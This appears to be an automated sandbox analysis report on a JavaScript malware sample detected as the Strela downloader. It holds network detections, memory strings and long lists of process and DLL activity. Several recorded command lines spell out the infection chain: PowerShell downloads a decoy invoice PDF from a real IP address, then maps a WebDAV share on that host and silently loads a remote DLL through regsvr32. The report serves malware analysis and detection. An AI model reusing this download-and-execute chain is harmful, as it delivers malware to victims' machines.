ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.4:49730 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.1711941195.00000167AA342000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000006.00000002.1762337415.000001D88AFD8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1762393670.000001D88B00C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1759077468.000001D88B00C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000006.00000002.1762393670.000001D88B00C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1759077468.000001D88B00C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/0oKd
Source: net.exe, 00000006.00000002.1762393670.000001D88B00C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1759077468.000001D88B00C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/ln
Source: net.exe, 00000006.00000002.1762337415.000001D88AFD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/tem&
Source: svchost.exe, 00000008.00000002.3001275139.0000022449A00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.7.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: svchost.exe, 00000008.00000003.1760009256.0000022449C18000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 00000008.00000003.1760009256.0000022449C18000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000008.00000003.1760009256.0000022449C18000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 00000008.00000003.1760009256.0000022449C4D000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.8.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.7.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: svchost.exe, 00000008.00000003.1760009256.0000022449CC2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: svchost.exe, 00000008.00000003.1760009256.0000022449CC2000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: svchost.exe, 00000008.00000003.1760009256.0000022449CC2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 6700, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\306341206026803.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\306341206026803.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 2628895762659930884.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@28/57@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:7220:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6908:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ctsimhpi.avp.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2628895762659930884.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\306341206026803.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1700,i,17282002464671500914,13658577813215400129,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\306341206026803.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1700,i,17282002464671500914,13658577813215400129,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
